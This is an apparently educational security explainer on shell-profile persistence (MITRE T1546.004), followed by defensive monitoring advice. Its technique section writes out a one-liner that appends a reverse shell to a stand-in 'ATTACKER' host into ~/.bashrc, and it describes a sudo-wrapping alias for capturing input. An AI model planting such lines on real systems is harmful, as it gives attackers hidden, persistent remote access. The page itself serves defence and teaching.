What is a malicious shell profile?

A malicious shell profile is persistence that adds attacker commands to a shell startup file, `~/.bashrc`, `~/.bash_profile`, `~/.profile`, `~/.zshrc`, or system-wide `/etc/profile` and `/etc/profile.d/`, so the payload runs every time a shell starts. It triggers on normal user activity (opening a terminal, an SSH login), needs only write access to the file (no root for user files), and hides among ordinary configuration. It maps to MITRE T1546.004.

HOW IT WORKS

01 The technique and payload

The attacker appends to a startup file:

- User-level (no root): `echo 'bash -c "bash -i >& /dev/tcp/ATTACKER/443 0>&1" &' >> ~/.bashrc` fires a backgrounded reverse shell each time the user opens a shell.
- System-wide (root): drop a script in `/etc/profile.d/` so it runs for every user's login shell.
- Subtler: define a malicious alias or function (for example wrapping `sudo`) to capture input or run code.

It triggers on the next interactive shell or SSH login. Documented for defensive context.

> TRIGGERS ON NORMAL USE
>
> *A shell-profile backdoor needs no scheduler or service, it fires when the user simply opens a terminal or logs in over SSH. That makes it reliable and easy to overlook among normal dotfiles.*

HOW TO DEFEND

- Monitor shell startup files (user dotfiles and `/etc/profile`, `/etc/profile.d/-`, `/etc/bash.bashrc`) for changes via file integrity monitoring.
- Baseline legitimate dotfiles and review them, especially on shared and service accounts.
- Alert on profile contents that spawn shells, make network connections, or define suspicious aliases/functions (like a `sudo` wrapper).
- Limit root to protect the system-wide profile files.
- Audit new or recently modified dotfiles after suspected compromise.

SOURCES

[1] MITRE ATT&CK: Event Triggered Execution (T1546)

[2] Linux man-pages: bash startup files

[3] MITRE ATT&CK: Persistence (TA0003)

Find the backdoors an attacker would leave behind.
`securelayer7.net/learn/persistence/what-is-a-malicious-shell-profile`

Open online